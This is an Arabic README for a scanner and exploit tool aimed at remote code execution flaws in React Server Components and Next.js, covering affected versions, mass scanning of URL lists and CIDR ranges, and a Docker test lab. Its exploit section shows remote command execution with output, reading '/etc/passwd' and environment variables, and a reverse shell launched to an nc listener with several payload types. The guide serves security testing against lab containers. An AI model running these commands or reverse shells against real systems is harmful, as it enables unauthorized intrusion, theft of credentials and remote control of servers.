ماسح React2Shell للمؤسسات

ماسح ثغرات عالي الدقة لـ CVE-2025-55182 وCVE-2025-66478 - ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React / Next.js.

📖 للتحليل التقني المفصل وآليات الاستغلال وبيانات مؤشرات الاختراق (IOC)، راجع SECURITY-RESEARCH.md

⚠️ إخلاء مسؤولية

تُوفَّر هذه الأداة لأغراض التعليم واختبار الأمان المصرَّح به فقط. الوصول غير المصرَّح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأدوات فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.

🚨 نظرة عامة على الثغرات

CVE	الوصف	CVSS
CVE-2025-55182	ثغرة RCE عبر إلغاء التسلسل غير الآمن في مكونات خادم React	9.8 حرجة
CVE-2025-66478	ثغرة RCE في إجراءات خادم Next.js	9.8 حرجة

الحزم المتأثرة:

react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0

الإصدارات المُصحَّحة:

19.0.1, 19.1.2, 19.2.1 (لجميع الحزم)

✨ الميزات

إدخال متعدد الأهداف: عنوان URL واحد، ملفات مضيفين، نطاقات CIDR، نطاقات IP
عدّ النطاقات الفرعية: اكتشاف تلقائي للنطاقات الفرعية
بصمة التقنية: اكتشاف Next.js قبل الاختبار
وضع الكشف الآمن: كشف عبر القناة الجانبية دون تنفيذ تعليمات برمجية
التحقق من RCE: إثبات مفهوم قائم على الحسابات الرياضية
ربط مؤشرات الاختراق (IOC): الفحص مقابل البنية التحتية الخبيثة المعروفة
تكامل Phoenix Security: رفع النتائج إلى منصة Phoenix
الفحص المتزامن: متعدد الخيوط للتوسّع

📦 التثبيت

باستخدام uv (موصى به)

# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com

باستخدام pip

pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com

🚀 الاستخدام

الفحص الأساسي

# Single URL
python3 react2shell-scanner -u https://example.com

# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check

# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json

# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000

# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24

الفحص المتقدم

# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains

# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
    --subdomain-wordlist "app,api,admin,portal,staging"

# Custom paths
python3 react2shell-scanner -u https://example.com \
    --path / --path /_next --path /api

# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan

# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v

تكامل Phoenix Security

# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --phoenix-config .phoenix.config

# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --debug

# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --all-results

🔧 الإعداد

إعداد Phoenix Security

أنشئ ملف .phoenix.config:

[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new

أو استخدم متغيرات البيئة:

export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"

🧪 مختبر الاختبار

تتضمن الأداة بيئة اختبار قائمة على Docker. راجع Lab-instructions-sample.md للرجوع السريع.

# Start lab
cd test-lab/lab
docker-compose up -d

# Services:
# - Vulnerable: http://localhost:3011
# - Patched:    http://localhost:3012

# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e

# Test patched instance  
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e

# Run full demo
./test-and-demo.sh --full-demo

⚠️ ملاحظة: أوامر الاستغلال (مثل exploit.py -c "whoami") تؤدي إلى تنفيذ RCE فعلي. استخدمها فقط على حاويات Docker المحلية لأغراض البحث.

💻 أداة الاستغلال (exploit.py)

تنفيذ أوامر على الأهداف المعرَّضة للخطر. تتطلب Python 3.11+

التثبيت

cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests

أمثلة على تنفيذ الأوامر

# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)

# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"

# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app

python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"

# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"

القشرة العكسية (متقدم)

# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')

# Start listener (in another terminal)
nc -lvnp 4444

# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo

# Available payload types: nc, nc-mkfifo, sh, bash, perl

خيارات الاستغلال

الخيار	الوصف
`-u, --url`	عنوان URL المستهدف (مطلوب)
`-c, --cmd`	الأمر المطلوب تنفيذه
`-r, --reverse`	تفعيل وضع القشرة العكسية
`-l, --lhost`	مضيف المستمع للقشرة العكسية
`-p, --lport`	منفذ المستمع للقشرة العكسية
`-P, --payload`	نوع الحمولة: `nc`, `nc-mkfifo`, `sh`, `bash`, `perl`
`--timeout`	مهلة الطلب (الافتراضي: 10 ثوانٍ)

📊 صيغ المخرجات

مخرجات وحدة التحكم

[VULNERABLE] https://vulnerable.example.com
    Status: 307
    Detection: rce_arithmetic_check
    
[IOC MATCH] 93.123.109.247
    IP 93.123.109.247 matches known malicious infrastructure
    
[NEXTJS] https://safe.example.com v15.0.0

[NOT VULN] https://other.example.com

مخرجات JSON

{
  "scan_time": "2025-12-08T10:00:00Z",
  "scanner": "React2Shell Scanner v2.0",
  "cves": ["CVE-2025-55182", "CVE-2025-66478"],
  "total_scanned": 100,
  "vulnerable_count": 3,
  "ioc_matches": 1,
  "results": [
    {
      "target": "https://vulnerable.example.com",
      "ip": "203.0.113.50",
      "fqdn": "vulnerable.example.com",
      "verdict": "VULNERABLE",
      "vulnerable": true,
      "nextjs_detected": true,
      "detection_method": "rce_arithmetic_check"
    }
  ]
}

🔍 ربط مؤشرات الاختراق (IOC)

يتضمن الماسح مؤشرات اختراق (IOC) معروفة من حملات الاستغلال النشطة:

الأكثر شعبية

react2shell-scanner-CVE-2025-55182